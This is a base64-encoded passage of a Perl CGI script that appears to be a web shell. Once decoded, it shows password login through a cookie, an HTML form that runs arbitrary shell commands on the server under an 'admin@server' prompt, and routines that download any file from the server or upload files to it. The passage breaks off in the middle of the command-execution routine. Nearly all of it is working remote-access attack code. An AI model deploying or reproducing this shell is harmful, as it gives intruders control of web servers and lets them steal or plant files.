LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgoKPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+CjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cy